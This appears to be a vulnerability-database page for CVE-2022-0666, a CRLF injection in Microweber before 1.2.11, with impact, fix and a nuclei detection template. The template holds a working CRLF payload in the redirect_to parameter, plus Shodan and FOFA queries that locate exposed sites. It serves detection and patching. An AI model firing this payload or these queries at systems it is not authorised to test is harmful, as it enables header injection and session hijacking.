Microweber < 1.2.11 - CRLF Injection

highseverity

7.5CVSS score

44.3%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

CRLF Injection leads to Stack Trace Exposure due to lack of filtering at https://demo.microweber.org/ in Packagist microweber/microweber prior to 1.2.11.

Impact

Attackers can inject CRLF sequences via the redirect_to parameter to set arbitrary cookies or inject additional HTTP headers, potentially facilitating session hijacking or cache poisoning attacks.

Fix

Upgrade to Microweber version 1.2.11 or later.

How to confirm it

Send: GET {{BaseURL}}/api/logout?redirect_to=%0d%0aSet-Cookie:crlfinjection=1;
Positive when: matches in header /^Set-Cookie: crlfinjection=1;/

Run it with nuclei: nuclei -id CVE-2022-0666 -u <target>

The full check

id: CVE-2022-0666

info:
  name: Microweber < 1.2.11 - CRLF Injection
  author: ritikchaddha
  severity: high
  description: |
    CRLF Injection leads to Stack Trace Exposure due to lack of filtering at https://demo.microweber.org/ in Packagist microweber/microweber prior to 1.2.11.
  impact: |
    Attackers can inject CRLF sequences via the redirect_to parameter to set arbitrary cookies or inject additional HTTP headers, potentially facilitating session hijacking or cache poisoning attacks.
  remediation: |
    Upgrade to Microweber version 1.2.11 or later.
  reference:
    - https://github.com/microweber/microweber/commit/f0e338f1b7dc5ec9d99231f4ed3fa6245a5eb128
    - https://huntr.dev/bounties/7215afc7-9133-4749-8e8e-0569317dbd55
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0666
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-0666
    cwe-id: CWE-93
    epss-score: 0.44259
    epss-percentile: 0.98767
    cpe: cpe:2.3:a:microweber:microweber:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: microweber
    product: microweber
    shodan-query:
      - http.favicon.hash:780351152
      - http.html:"microweber"
    fofa-query:
      - icon_hash=780351152
      - body="microweber"
  tags: cve,huntr,crlf,microweber,cve2022,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/logout?redirect_to=%0d%0aSet-Cookie:crlfinjection=1;"

    matchers:
      - type: regex
        part: header
        regex:
          - "^Set-Cookie: crlfinjection=1;"

References

Use this check only on systems you are authorised to test. Where the data comes from